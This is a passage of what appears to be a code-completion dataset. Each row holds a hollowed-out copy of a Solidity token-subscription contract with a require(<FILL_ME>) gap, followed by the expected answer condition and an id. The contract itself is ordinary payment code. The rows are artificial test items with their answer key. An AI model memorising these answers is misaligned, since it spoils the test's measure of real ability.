function getTwapAmount(address _token, uint256 _amountIn) external view returns (uint256) {
}
function _getTwapAmount(address _token, uint256 _amountIn) internal view returns (uint256) {
}
/// @dev executes transfers and collects fees
function _transferToken(address _token, address _vendor, address _user, uint256 amount, uint256 _gasAtStart, uint256 _price, uint256 _decimalsDiff) internal {
}
/// @dev handles most of the state updates for user payments
function _confirmation(address _subscriber, address _vendor, uint256 _planId, uint256 _periods, address _token, uint256 _amount) internal {
}
/// @dev handles most of the state updates for user payments
/// @return formattedPrice scales the decimals appropriately
/// @return decimalsDiff the difference in decimals
function _fixDecimals(address _token, uint256 price) internal view returns (uint256, uint256) {
}
function _split (bytes memory _sig) internal pure returns (bytes32 r, bytes32 s, uint8 v) {
}
/// @notice Allows users to subscribe to a plan via signature to avoid gas fees with accepted tokens
function subscribeWithAttestation(bytes memory _signature, address _vendor, uint256 _planId, uint256 _periods, address _token) external {
}
function subscribeStable(address _vendor, uint256 _planId, uint256 _periods, address _stable) external {
}
function _subscribeStable(address _subscriber, address _vendor, uint256 _planId, uint256 _periods, address _stable, uint256 _price, uint256 _billingPeriod, uint256 _discount) internal checkPeriods(_periods) {
uint256 gasAtStart = gasleft() + gasCommit;
require(<FILL_ME>)
_price = _getDiscountPrice(_price, _periods, _billingPeriod, _discount);
uint256 decimalsDiff;
if (_stable != mainStable) (_price, decimalsDiff) = _fixDecimals(_stable, _price);
_confirmation(_subscriber, _vendor, _planId, _periods, _stable, _price);
_transferToken(_stable, _vendor, _subscriber, _price, gasAtStart, _price, decimalsDiff);
}
/// @notice Allows users to subscribe to a plan with accepted tokens
function subscribeToken(address _vendor, uint256 _planId, uint256 _periods, address _token) external {
}
function _subscribeToken(address _subscriber, address _vendor, uint256 _planId, uint256 _periods, address _token, uint256 _price, uint256 _billingPeriod, uint256 _discount) internal checkPeriods(_periods) {
}
/// @notice Allows users to subscribe to a plan with native token, this doesn't allow for automatic payment collection unless users subscribe with wrapped version
function subscribeNative(address _vendor, uint256 _planId, uint256 _periods) external payable {
}
function _subscribeNative(address _vendor, uint256 _planId, uint256 _periods, uint256 _price, uint256 _billingPeriod, uint256 _discount) internal checkPeriods(_periods) {
}
/// @notice users can opt-out of subscription plans
function unsubscribe(address _vendor, uint256 _planId) external {
}
function _unsubscribe(address _vendor, uint256 _planId) internal {
}
/// @notice users can change to a different plan with a discounted price dependent on how long they are into their current billing period
function changePlan(address _vendor, uint256 _oldPlanId, uint256 _newPlanId, uint256 _periods, address _token) external payable {
}
struct Misc {
uint256 planKey;
uint256 decimalsDiff;
uint256 gasAtStart;
}
/// @notice to be triggered whenever it is time to collect payment from user
function collectPayment(address _user, address _vendor, uint256 _planId, address _token) allowedToken(_token) external {
}
}
| stableIsAllowed[_stable]==1,"Stablecoin not allowed" | 70,397 | stableIsAllowed[_stable]==1 |
"Token not allowed" | //SPDX-License-Identifier: Unlicensed
pragma solidity ^0.7.0;
/// @title A Payment Manager
/// @author Blokku-Chan
/// @notice Used to calculate and fetch 1hr TWAP prices for non-stablecoin payment
import "@uniswap/v3-periphery/contracts/libraries/OracleLibrary.sol";
/// @notice Used to fetch Uniswap pool data
interface IUniswapV3Factory {
function getPool(address tokenA, address tokenB, uint24 fee) external view returns (address pool);
}
/// @notice Used to handle transfers
interface TOKEN {
function transfer(address to, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function decimals() external view returns (uint8);
}
/// @notice You can use this contract to create or subscribe to payment plans
/// @dev Uint packing is used for a number of variables
contract Solid {
uint256 constant gasCommit = 21000 + 396;
/// @dev Stored to convert decimal points when using alternative stablecoins
uint256 public mainStableDecimals;
/// @notice Uniswap V3 Factory address
address public immutable uniV3Factory;
/// @notice The chains wrapped native token address
address public immutable wrappedNativeToken;
/// @notice Owner of the contract is able to manage accepted tokens
address public owner;
/// @notice Main stable is the most popular/accessible stablecoin on the chain
address public mainStable;
/// @notice Stablecoin addresses in here are accepted by the contract
mapping(address => uint256) public stableIsAllowed;
/// @notice Token addresses in here are accepted by the contract
mapping(address => uint256) public tokenIsAllowed;
/// @notice Plan details are stored in here, this includes: Price, Billing frequency, Bulk discounts, and timestamp of most recent change
/// @dev The plan mapping key is a packing of the uint160 vendors address and a plan id, because it is cheaper than a nested mapping
/// @dev The plan values are packed instead of stored as structs, they are: uint40 price, uint48 billingPeriod, uint48 timestamp, uint120 discount
mapping(uint256 => uint256) public plan;
/// @notice Last payment contains the timestamp of a users last payment to a chosen vendors plan, it also has the number of billing periods paid for in bulk
/// @dev The lastPayment mapping key is a nested mapping of a plan key => users address
/// @dev The lastPayment values are packed as well, they are: uint48 timestamp and uint208 periods (the number of billing periods purchased in bulk)
mapping(uint256 => mapping(address => uint256)) public lastPayment;
/// @notice used to verify attestation chain of origin
uint256 public chainId;
event Payment(address indexed user, address indexed vendor, uint256 indexed plan, address token, uint256 amount, uint256 periods, bool firstTime, uint256 timestamp);
event Unsubscription(address indexed user, address indexed vendor, uint256 plan, uint256 timestamp);
event PlanSet(address indexed vendor, uint256 planId);
event NewStable(address stable);
event NewToken(address token);
event NewOwner(address token);
/// @notice This defines the owner, the address of the Uniswap V3 Factory and the address of the wrapped native token
constructor(uint256 _chainId, address _uniV3Factory, address _wrappedNativeToken) payable {
}
receive() external payable {}
modifier onlyOwner() {
}
/// @dev Different checks to ensure fairness in plan creation, billingPeriods set to low allow for too frequent payment collections, and so cannot be allowed
modifier validPlan(uint256 _billingPeriod, uint256 _price, uint256 _discount) {
}
/// @dev Used to guard against tokens that are not accepted
modifier allowedToken(address _token) {
}
/// @dev Used to prevent free subscriptions not initiated by the vendor
modifier checkPeriods(uint256 _periods) {
}
function setOwner(address _owner) external onlyOwner {
}
/// @notice Ownership is intended to be temporary, once contracts can run by themselves ownership will be removed
function removeOwnership() external onlyOwner {
}
/// @notice The main stablecoin is used to check for prices on Uniswap V3 Pools
function setMainStable(address _mainStable) external onlyOwner {
}
/// @param _stables: An array of stablecoin addresses to add to the allow list
function addStables(address[] memory _stables) external onlyOwner {
}
/// @param _stables: An array of stablecoin addresses to remove from the allow list
function removeStables(address[] memory _stables) external onlyOwner {
}
/// @param _tokens: An array of token addresses to add to the allow list
function addTokens(address[] memory _tokens) external onlyOwner {
}
/// @param _tokens: An array of token addresses to remove from the allow list
function removeTokens(address[] memory _tokens) external onlyOwner {
}
/// @notice Sends accrued fees, primarily to be used to pay for subscription automation, to a recipient
function withdrawNative(uint256 _amount, address _recipient) external onlyOwner {
}
function withdrawToken(uint256 _amount, address _recipient, address _token) external onlyOwner {
}
/// @return price: the amount of the main stablecoin accepted for a plan, per period
/// @return billingPeriod: the number of seconds to wait before user is expected to pay again
/// @return timestamp: the last time the plan details were edited, users must resubscribe if plan details are edited
/// @return discount: The maximum discount given for buying multiple billing periods at once, up to a year
function getPlan(address _vendor, uint256 _planId) external view returns(uint256, uint256, uint256, uint256) {
}
function _getPlan(address _vendor, uint256 _planId) internal view returns(uint256, uint256, uint256, uint256) {
}
/// @return planKey: the vendor address and plan id are packed into a uint and returned
function _getPlanKey(address _vendor, uint256 _planId) internal pure returns (uint256) {
}
/// @dev Unpacks the values in the lastPayment uint
/// @return timestamp: the last time the user paid for a vendors plan
/// @return periods: the number of periods bought in bulk
function getLastPayment(address _vendor, uint256 _planId, address _user) external view returns (uint256, uint256) {
}
function _getLastPayment(uint256 _planKey, address _user) internal view returns (uint256, uint256) {
}
/// @notice Checks wnativeer the user has paid for a plan, and allows for a maximum 2 week buffer depending on length of billing period to allow for late payments
/// @return bool: true if user is a valid subscriber
function isValidSubscriber(address _vendor, address _user, uint256 _planId) external view returns (bool) {
}
function _isValidSubscriber(address _vendor, address _user, uint256 _planId) internal view returns (bool) {
}
/// @notice Handles plan creation and updating
/// @param _price: the amount of the main stablecoin a vendor will accept for a plan, per period
/// @param _billingPeriod: the number of seconds to wait before user is expected to pay again
/// @param _planId: the id of the selected plan
/// @param _discount: The maximum discount given for buying multiple billing periods at once, up to a year
function setPlan(uint256 _price, uint256 _billingPeriod, uint256 _planId, uint256 _discount) external validPlan(_billingPeriod, _price, _discount) {
}
function _setPlan(uint256 _price, uint256 _billingPeriod, uint256 _planId, uint256 _discount) internal {
}
/// @param _planId: the id of the plan to be deleted
function deletePlan(uint256 _planId) external {
}
function _deletePlan(uint256 _planId) internal {
}
/// @notice Vendors can add a free subscriber
/// @dev Subscriber is given a timestamp so far ahead, it will likely never be called to charge for payment
function addSubscriber(address _user, uint256 _planId) external {
}
/// @notice Vendors can remove a subscriber
function removeSubscriber(address _user, uint256 _planId) external {
}
/// @return bulkDiscountPrice this discount is calculated by accounting for the max discount allowed and the number of cycles being purchased
function _getDiscountPrice(uint256 _price, uint256 _periods, uint256 _cycleLength, uint256 _discount) internal pure returns (uint256) {
}
/// @return twapAmount amount of alternative tokens accepted based on a 1hr TWAP price
function getTwapAmount(address _token, uint256 _amountIn) external view returns (uint256) {
}
function _getTwapAmount(address _token, uint256 _amountIn) internal view returns (uint256) {
}
/// @dev executes transfers and collects fees
function _transferToken(address _token, address _vendor, address _user, uint256 amount, uint256 _gasAtStart, uint256 _price, uint256 _decimalsDiff) internal {
}
/// @dev handles most of the state updates for user payments
function _confirmation(address _subscriber, address _vendor, uint256 _planId, uint256 _periods, address _token, uint256 _amount) internal {
}
/// @dev handles most of the state updates for user payments
/// @return formattedPrice scales the decimals appropriately
/// @return decimalsDiff the difference in decimals
function _fixDecimals(address _token, uint256 price) internal view returns (uint256, uint256) {
}
function _split (bytes memory _sig) internal pure returns (bytes32 r, bytes32 s, uint8 v) {
}
/// @notice Allows users to subscribe to a plan via signature to avoid gas fees with accepted tokens
function subscribeWithAttestation(bytes memory _signature, address _vendor, uint256 _planId, uint256 _periods, address _token) external {
}
function subscribeStable(address _vendor, uint256 _planId, uint256 _periods, address _stable) external {
}
function _subscribeStable(address _subscriber, address _vendor, uint256 _planId, uint256 _periods, address _stable, uint256 _price, uint256 _billingPeriod, uint256 _discount) internal checkPeriods(_periods) {
}
/// @notice Allows users to subscribe to a plan with accepted tokens
function subscribeToken(address _vendor, uint256 _planId, uint256 _periods, address _token) external {
}
function _subscribeToken(address _subscriber, address _vendor, uint256 _planId, uint256 _periods, address _token, uint256 _price, uint256 _billingPeriod, uint256 _discount) internal checkPeriods(_periods) {
uint256 gasAtStart = gasleft() + gasCommit;
require(<FILL_ME>)
_price = _getDiscountPrice(_price, _periods, _billingPeriod, _discount);
uint256 amount = _getTwapAmount(_token, _price);
uint256 decimalsDiff;
(_price, decimalsDiff) = _fixDecimals(_token, _price);
_confirmation(_subscriber, _vendor, _planId, _periods, _token, amount);
_transferToken(_token, _vendor, _subscriber, amount, gasAtStart, _price, decimalsDiff);
}
/// @notice Allows users to subscribe to a plan with native token, this doesn't allow for automatic payment collection unless users subscribe with wrapped version
function subscribeNative(address _vendor, uint256 _planId, uint256 _periods) external payable {
}
function _subscribeNative(address _vendor, uint256 _planId, uint256 _periods, uint256 _price, uint256 _billingPeriod, uint256 _discount) internal checkPeriods(_periods) {
}
/// @notice users can opt-out of subscription plans
function unsubscribe(address _vendor, uint256 _planId) external {
}
function _unsubscribe(address _vendor, uint256 _planId) internal {
}
/// @notice users can change to a different plan with a discounted price dependent on how long they are into their current billing period
function changePlan(address _vendor, uint256 _oldPlanId, uint256 _newPlanId, uint256 _periods, address _token) external payable {
}
struct Misc {
uint256 planKey;
uint256 decimalsDiff;
uint256 gasAtStart;
}
/// @notice to be triggered whenever it is time to collect payment from user
function collectPayment(address _user, address _vendor, uint256 _planId, address _token) allowedToken(_token) external {
}
}
| tokenIsAllowed[_token]==1||_token==wrappedNativeToken,"Token not allowed" | 70,397 | tokenIsAllowed[_token]==1||_token==wrappedNativeToken |
"Not a subscriber" | //SPDX-License-Identifier: Unlicensed
pragma solidity ^0.7.0;
/// @title A Payment Manager
/// @author Blokku-Chan
/// @notice Used to calculate and fetch 1hr TWAP prices for non-stablecoin payment
import "@uniswap/v3-periphery/contracts/libraries/OracleLibrary.sol";
/// @notice Used to fetch Uniswap pool data
interface IUniswapV3Factory {
function getPool(address tokenA, address tokenB, uint24 fee) external view returns (address pool);
}
/// @notice Used to handle transfers
interface TOKEN {
function transfer(address to, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function decimals() external view returns (uint8);
}
/// @notice You can use this contract to create or subscribe to payment plans
/// @dev Uint packing is used for a number of variables
contract Solid {
uint256 constant gasCommit = 21000 + 396;
/// @dev Stored to convert decimal points when using alternative stablecoins
uint256 public mainStableDecimals;
/// @notice Uniswap V3 Factory address
address public immutable uniV3Factory;
/// @notice The chains wrapped native token address
address public immutable wrappedNativeToken;
/// @notice Owner of the contract is able to manage accepted tokens
address public owner;
/// @notice Main stable is the most popular/accessible stablecoin on the chain
address public mainStable;
/// @notice Stablecoin addresses in here are accepted by the contract
mapping(address => uint256) public stableIsAllowed;
/// @notice Token addresses in here are accepted by the contract
mapping(address => uint256) public tokenIsAllowed;
/// @notice Plan details are stored in here, this includes: Price, Billing frequency, Bulk discounts, and timestamp of most recent change
/// @dev The plan mapping key is a packing of the uint160 vendors address and a plan id, because it is cheaper than a nested mapping
/// @dev The plan values are packed instead of stored as structs, they are: uint40 price, uint48 billingPeriod, uint48 timestamp, uint120 discount
mapping(uint256 => uint256) public plan;
/// @notice Last payment contains the timestamp of a users last payment to a chosen vendors plan, it also has the number of billing periods paid for in bulk
/// @dev The lastPayment mapping key is a nested mapping of a plan key => users address
/// @dev The lastPayment values are packed as well, they are: uint48 timestamp and uint208 periods (the number of billing periods purchased in bulk)
mapping(uint256 => mapping(address => uint256)) public lastPayment;
/// @notice used to verify attestation chain of origin
uint256 public chainId;
event Payment(address indexed user, address indexed vendor, uint256 indexed plan, address token, uint256 amount, uint256 periods, bool firstTime, uint256 timestamp);
event Unsubscription(address indexed user, address indexed vendor, uint256 plan, uint256 timestamp);
event PlanSet(address indexed vendor, uint256 planId);
event NewStable(address stable);
event NewToken(address token);
event NewOwner(address token);
/// @notice This defines the owner, the address of the Uniswap V3 Factory and the address of the wrapped native token
constructor(uint256 _chainId, address _uniV3Factory, address _wrappedNativeToken) payable {
}
receive() external payable {}
modifier onlyOwner() {
}
/// @dev Different checks to ensure fairness in plan creation, billingPeriods set to low allow for too frequent payment collections, and so cannot be allowed
modifier validPlan(uint256 _billingPeriod, uint256 _price, uint256 _discount) {
}
/// @dev Used to guard against tokens that are not accepted
modifier allowedToken(address _token) {
}
/// @dev Used to prevent free subscriptions not initiated by the vendor
modifier checkPeriods(uint256 _periods) {
}
function setOwner(address _owner) external onlyOwner {
}
/// @notice Ownership is intended to be temporary, once contracts can run by themselves ownership will be removed
function removeOwnership() external onlyOwner {
}
/// @notice The main stablecoin is used to check for prices on Uniswap V3 Pools
function setMainStable(address _mainStable) external onlyOwner {
}
/// @param _stables: An array of stablecoin addresses to add to the allow list
function addStables(address[] memory _stables) external onlyOwner {
}
/// @param _stables: An array of stablecoin addresses to remove from the allow list
function removeStables(address[] memory _stables) external onlyOwner {
}
/// @param _tokens: An array of token addresses to add to the allow list
function addTokens(address[] memory _tokens) external onlyOwner {
}
/// @param _tokens: An array of token addresses to remove from the allow list
function removeTokens(address[] memory _tokens) external onlyOwner {
}
/// @notice Sends accrued fees, primarily to be used to pay for subscription automation, to a recipient
function withdrawNative(uint256 _amount, address _recipient) external onlyOwner {
}
function withdrawToken(uint256 _amount, address _recipient, address _token) external onlyOwner {
}
/// @return price: the amount of the main stablecoin accepted for a plan, per period
/// @return billingPeriod: the number of seconds to wait before user is expected to pay again
/// @return timestamp: the last time the plan details were edited, users must resubscribe if plan details are edited
/// @return discount: The maximum discount given for buying multiple billing periods at once, up to a year
function getPlan(address _vendor, uint256 _planId) external view returns(uint256, uint256, uint256, uint256) {
}
function _getPlan(address _vendor, uint256 _planId) internal view returns(uint256, uint256, uint256, uint256) {
}
/// @return planKey: the vendor address and plan id are packed into a uint and returned
function _getPlanKey(address _vendor, uint256 _planId) internal pure returns (uint256) {
}
/// @dev Unpacks the values in the lastPayment uint
/// @return timestamp: the last time the user paid for a vendors plan
/// @return periods: the number of periods bought in bulk
function getLastPayment(address _vendor, uint256 _planId, address _user) external view returns (uint256, uint256) {
}
function _getLastPayment(uint256 _planKey, address _user) internal view returns (uint256, uint256) {
}
/// @notice Checks wnativeer the user has paid for a plan, and allows for a maximum 2 week buffer depending on length of billing period to allow for late payments
/// @return bool: true if user is a valid subscriber
function isValidSubscriber(address _vendor, address _user, uint256 _planId) external view returns (bool) {
}
function _isValidSubscriber(address _vendor, address _user, uint256 _planId) internal view returns (bool) {
}
/// @notice Handles plan creation and updating
/// @param _price: the amount of the main stablecoin a vendor will accept for a plan, per period
/// @param _billingPeriod: the number of seconds to wait before user is expected to pay again
/// @param _planId: the id of the selected plan
/// @param _discount: The maximum discount given for buying multiple billing periods at once, up to a year
function setPlan(uint256 _price, uint256 _billingPeriod, uint256 _planId, uint256 _discount) external validPlan(_billingPeriod, _price, _discount) {
}
function _setPlan(uint256 _price, uint256 _billingPeriod, uint256 _planId, uint256 _discount) internal {
}
/// @param _planId: the id of the plan to be deleted
function deletePlan(uint256 _planId) external {
}
function _deletePlan(uint256 _planId) internal {
}
/// @notice Vendors can add a free subscriber
/// @dev Subscriber is given a timestamp so far ahead, it will likely never be called to charge for payment
function addSubscriber(address _user, uint256 _planId) external {
}
/// @notice Vendors can remove a subscriber
function removeSubscriber(address _user, uint256 _planId) external {
}
/// @return bulkDiscountPrice this discount is calculated by accounting for the max discount allowed and the number of cycles being purchased
function _getDiscountPrice(uint256 _price, uint256 _periods, uint256 _cycleLength, uint256 _discount) internal pure returns (uint256) {
}
/// @return twapAmount amount of alternative tokens accepted based on a 1hr TWAP price
function getTwapAmount(address _token, uint256 _amountIn) external view returns (uint256) {
}
function _getTwapAmount(address _token, uint256 _amountIn) internal view returns (uint256) {
}
/// @dev executes transfers and collects fees
function _transferToken(address _token, address _vendor, address _user, uint256 amount, uint256 _gasAtStart, uint256 _price, uint256 _decimalsDiff) internal {
}
/// @dev handles most of the state updates for user payments
function _confirmation(address _subscriber, address _vendor, uint256 _planId, uint256 _periods, address _token, uint256 _amount) internal {
}
/// @dev handles most of the state updates for user payments
/// @return formattedPrice scales the decimals appropriately
/// @return decimalsDiff the difference in decimals
function _fixDecimals(address _token, uint256 price) internal view returns (uint256, uint256) {
}
function _split (bytes memory _sig) internal pure returns (bytes32 r, bytes32 s, uint8 v) {
}
/// @notice Allows users to subscribe to a plan via signature to avoid gas fees with accepted tokens
function subscribeWithAttestation(bytes memory _signature, address _vendor, uint256 _planId, uint256 _periods, address _token) external {
}
function subscribeStable(address _vendor, uint256 _planId, uint256 _periods, address _stable) external {
}
function _subscribeStable(address _subscriber, address _vendor, uint256 _planId, uint256 _periods, address _stable, uint256 _price, uint256 _billingPeriod, uint256 _discount) internal checkPeriods(_periods) {
}
/// @notice Allows users to subscribe to a plan with accepted tokens
function subscribeToken(address _vendor, uint256 _planId, uint256 _periods, address _token) external {
}
function _subscribeToken(address _subscriber, address _vendor, uint256 _planId, uint256 _periods, address _token, uint256 _price, uint256 _billingPeriod, uint256 _discount) internal checkPeriods(_periods) {
}
/// @notice Allows users to subscribe to a plan with native token, this doesn't allow for automatic payment collection unless users subscribe with wrapped version
function subscribeNative(address _vendor, uint256 _planId, uint256 _periods) external payable {
}
function _subscribeNative(address _vendor, uint256 _planId, uint256 _periods, uint256 _price, uint256 _billingPeriod, uint256 _discount) internal checkPeriods(_periods) {
}
/// @notice users can opt-out of subscription plans
function unsubscribe(address _vendor, uint256 _planId) external {
}
function _unsubscribe(address _vendor, uint256 _planId) internal {
}
/// @notice users can change to a different plan with a discounted price dependent on how long they are into their current billing period
function changePlan(address _vendor, uint256 _oldPlanId, uint256 _newPlanId, uint256 _periods, address _token) external payable {
}
struct Misc {
uint256 planKey;
uint256 decimalsDiff;
uint256 gasAtStart;
}
/// @notice to be triggered whenever it is time to collect payment from user
function collectPayment(address _user, address _vendor, uint256 _planId, address _token) allowedToken(_token) external {
require(<FILL_ME>)
Misc memory misc;
misc.planKey = _getPlanKey(_vendor, _planId);
misc.gasAtStart = gasleft() + gasCommit;
(uint256 _lastPayment, uint256 _periods) = _getLastPayment(misc.planKey, _user);
(uint256 price, uint256 billingPeriod,, uint256 discount) = _getPlan(_vendor, _planId);
require(price != 0, "Deleted plan");
require((block.timestamp - _lastPayment) * _lastPayment > (billingPeriod * _lastPayment), "Not time to pay");
price = _getDiscountPrice(price, _periods, billingPeriod, discount);
uint256 timestamp = _lastPayment + billingPeriod * _periods;
lastPayment[misc.planKey][_user] = timestamp |= _periods<<48;
if (stableIsAllowed[_token] == 1) {
if (_token != mainStable) (price, misc.decimalsDiff) = _fixDecimals(_token, price);
_transferToken(_token, _vendor, _user, price, misc.gasAtStart, price, misc.decimalsDiff);
emit Payment(_user, _vendor, _planId, _token, price, _periods, false, block.timestamp);
}
else {
uint256 amount = _getTwapAmount(_token, price);
(, misc.decimalsDiff) = _fixDecimals(_token, price);
_transferToken(_token, _vendor, _user, amount, misc.gasAtStart, price, misc.decimalsDiff);
emit Payment(_user, _vendor, _planId, _token, amount, _periods, false, block.timestamp);
}
}
}
| _isValidSubscriber(_vendor,_user,_planId),"Not a subscriber" | 70,397 | _isValidSubscriber(_vendor,_user,_planId) |
"Not time to pay" | //SPDX-License-Identifier: Unlicensed
pragma solidity ^0.7.0;
/// @title A Payment Manager
/// @author Blokku-Chan
/// @notice Used to calculate and fetch 1hr TWAP prices for non-stablecoin payment
import "@uniswap/v3-periphery/contracts/libraries/OracleLibrary.sol";
/// @notice Used to fetch Uniswap pool data
interface IUniswapV3Factory {
function getPool(address tokenA, address tokenB, uint24 fee) external view returns (address pool);
}
/// @notice Used to handle transfers
interface TOKEN {
function transfer(address to, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function decimals() external view returns (uint8);
}
/// @notice You can use this contract to create or subscribe to payment plans
/// @dev Uint packing is used for a number of variables
contract Solid {
uint256 constant gasCommit = 21000 + 396;
/// @dev Stored to convert decimal points when using alternative stablecoins
uint256 public mainStableDecimals;
/// @notice Uniswap V3 Factory address
address public immutable uniV3Factory;
/// @notice The chains wrapped native token address
address public immutable wrappedNativeToken;
/// @notice Owner of the contract is able to manage accepted tokens
address public owner;
/// @notice Main stable is the most popular/accessible stablecoin on the chain
address public mainStable;
/// @notice Stablecoin addresses in here are accepted by the contract
mapping(address => uint256) public stableIsAllowed;
/// @notice Token addresses in here are accepted by the contract
mapping(address => uint256) public tokenIsAllowed;
/// @notice Plan details are stored in here, this includes: Price, Billing frequency, Bulk discounts, and timestamp of most recent change
/// @dev The plan mapping key is a packing of the uint160 vendors address and a plan id, because it is cheaper than a nested mapping
/// @dev The plan values are packed instead of stored as structs, they are: uint40 price, uint48 billingPeriod, uint48 timestamp, uint120 discount
mapping(uint256 => uint256) public plan;
/// @notice Last payment contains the timestamp of a users last payment to a chosen vendors plan, it also has the number of billing periods paid for in bulk
/// @dev The lastPayment mapping key is a nested mapping of a plan key => users address
/// @dev The lastPayment values are packed as well, they are: uint48 timestamp and uint208 periods (the number of billing periods purchased in bulk)
mapping(uint256 => mapping(address => uint256)) public lastPayment;
/// @notice used to verify attestation chain of origin
uint256 public chainId;
event Payment(address indexed user, address indexed vendor, uint256 indexed plan, address token, uint256 amount, uint256 periods, bool firstTime, uint256 timestamp);
event Unsubscription(address indexed user, address indexed vendor, uint256 plan, uint256 timestamp);
event PlanSet(address indexed vendor, uint256 planId);
event NewStable(address stable);
event NewToken(address token);
event NewOwner(address token);
/// @notice This defines the owner, the address of the Uniswap V3 Factory and the address of the wrapped native token
constructor(uint256 _chainId, address _uniV3Factory, address _wrappedNativeToken) payable {
}
receive() external payable {}
modifier onlyOwner() {
}
/// @dev Different checks to ensure fairness in plan creation, billingPeriods set to low allow for too frequent payment collections, and so cannot be allowed
modifier validPlan(uint256 _billingPeriod, uint256 _price, uint256 _discount) {
}
/// @dev Used to guard against tokens that are not accepted
modifier allowedToken(address _token) {
}
/// @dev Used to prevent free subscriptions not initiated by the vendor
modifier checkPeriods(uint256 _periods) {
}
function setOwner(address _owner) external onlyOwner {
}
/// @notice Ownership is intended to be temporary, once contracts can run by themselves ownership will be removed
function removeOwnership() external onlyOwner {
}
/// @notice The main stablecoin is used to check for prices on Uniswap V3 Pools
function setMainStable(address _mainStable) external onlyOwner {
}
/// @param _stables: An array of stablecoin addresses to add to the allow list
function addStables(address[] memory _stables) external onlyOwner {
}
/// @param _stables: An array of stablecoin addresses to remove from the allow list
function removeStables(address[] memory _stables) external onlyOwner {
}
/// @param _tokens: An array of token addresses to add to the allow list
function addTokens(address[] memory _tokens) external onlyOwner {
}
/// @param _tokens: An array of token addresses to remove from the allow list
function removeTokens(address[] memory _tokens) external onlyOwner {
}
/// @notice Sends accrued fees, primarily to be used to pay for subscription automation, to a recipient
function withdrawNative(uint256 _amount, address _recipient) external onlyOwner {
}
function withdrawToken(uint256 _amount, address _recipient, address _token) external onlyOwner {
}
/// @return price: the amount of the main stablecoin accepted for a plan, per period
/// @return billingPeriod: the number of seconds to wait before user is expected to pay again
/// @return timestamp: the last time the plan details were edited, users must resubscribe if plan details are edited
/// @return discount: The maximum discount given for buying multiple billing periods at once, up to a year
function getPlan(address _vendor, uint256 _planId) external view returns(uint256, uint256, uint256, uint256) {
}
function _getPlan(address _vendor, uint256 _planId) internal view returns(uint256, uint256, uint256, uint256) {
}
/// @return planKey: the vendor address and plan id are packed into a uint and returned
function _getPlanKey(address _vendor, uint256 _planId) internal pure returns (uint256) {
}
/// @dev Unpacks the values in the lastPayment uint
/// @return timestamp: the last time the user paid for a vendors plan
/// @return periods: the number of periods bought in bulk
function getLastPayment(address _vendor, uint256 _planId, address _user) external view returns (uint256, uint256) {
}
function _getLastPayment(uint256 _planKey, address _user) internal view returns (uint256, uint256) {
}
/// @notice Checks wnativeer the user has paid for a plan, and allows for a maximum 2 week buffer depending on length of billing period to allow for late payments
/// @return bool: true if user is a valid subscriber
function isValidSubscriber(address _vendor, address _user, uint256 _planId) external view returns (bool) {
}
function _isValidSubscriber(address _vendor, address _user, uint256 _planId) internal view returns (bool) {
}
/// @notice Handles plan creation and updating
/// @param _price: the amount of the main stablecoin a vendor will accept for a plan, per period
/// @param _billingPeriod: the number of seconds to wait before user is expected to pay again
/// @param _planId: the id of the selected plan
/// @param _discount: The maximum discount given for buying multiple billing periods at once, up to a year
function setPlan(uint256 _price, uint256 _billingPeriod, uint256 _planId, uint256 _discount) external validPlan(_billingPeriod, _price, _discount) {
}
function _setPlan(uint256 _price, uint256 _billingPeriod, uint256 _planId, uint256 _discount) internal {
}
/// @param _planId: the id of the plan to be deleted
function deletePlan(uint256 _planId) external {
}
function _deletePlan(uint256 _planId) internal {
}
/// @notice Vendors can add a free subscriber
/// @dev Subscriber is given a timestamp so far ahead, it will likely never be called to charge for payment
function addSubscriber(address _user, uint256 _planId) external {
}
/// @notice Vendors can remove a subscriber
function removeSubscriber(address _user, uint256 _planId) external {
}
/// @return bulkDiscountPrice this discount is calculated by accounting for the max discount allowed and the number of cycles being purchased
function _getDiscountPrice(uint256 _price, uint256 _periods, uint256 _cycleLength, uint256 _discount) internal pure returns (uint256) {
}
/// @return twapAmount amount of alternative tokens accepted based on a 1hr TWAP price
function getTwapAmount(address _token, uint256 _amountIn) external view returns (uint256) {
}
function _getTwapAmount(address _token, uint256 _amountIn) internal view returns (uint256) {
}
/// @dev executes transfers and collects fees
function _transferToken(address _token, address _vendor, address _user, uint256 amount, uint256 _gasAtStart, uint256 _price, uint256 _decimalsDiff) internal {
}
/// @dev handles most of the state updates for user payments
function _confirmation(address _subscriber, address _vendor, uint256 _planId, uint256 _periods, address _token, uint256 _amount) internal {
}
/// @dev handles most of the state updates for user payments
/// @return formattedPrice scales the decimals appropriately
/// @return decimalsDiff the difference in decimals
function _fixDecimals(address _token, uint256 price) internal view returns (uint256, uint256) {
}
function _split (bytes memory _sig) internal pure returns (bytes32 r, bytes32 s, uint8 v) {
}
/// @notice Allows users to subscribe to a plan via signature to avoid gas fees with accepted tokens
function subscribeWithAttestation(bytes memory _signature, address _vendor, uint256 _planId, uint256 _periods, address _token) external {
}
function subscribeStable(address _vendor, uint256 _planId, uint256 _periods, address _stable) external {
}
function _subscribeStable(address _subscriber, address _vendor, uint256 _planId, uint256 _periods, address _stable, uint256 _price, uint256 _billingPeriod, uint256 _discount) internal checkPeriods(_periods) {
}
/// @notice Allows users to subscribe to a plan with accepted tokens
function subscribeToken(address _vendor, uint256 _planId, uint256 _periods, address _token) external {
}
function _subscribeToken(address _subscriber, address _vendor, uint256 _planId, uint256 _periods, address _token, uint256 _price, uint256 _billingPeriod, uint256 _discount) internal checkPeriods(_periods) {
}
/// @notice Allows users to subscribe to a plan with native token, this doesn't allow for automatic payment collection unless users subscribe with wrapped version
function subscribeNative(address _vendor, uint256 _planId, uint256 _periods) external payable {
}
function _subscribeNative(address _vendor, uint256 _planId, uint256 _periods, uint256 _price, uint256 _billingPeriod, uint256 _discount) internal checkPeriods(_periods) {
}
/// @notice users can opt-out of subscription plans
function unsubscribe(address _vendor, uint256 _planId) external {
}
function _unsubscribe(address _vendor, uint256 _planId) internal {
}
/// @notice users can change to a different plan with a discounted price dependent on how long they are into their current billing period
function changePlan(address _vendor, uint256 _oldPlanId, uint256 _newPlanId, uint256 _periods, address _token) external payable {
}
struct Misc {
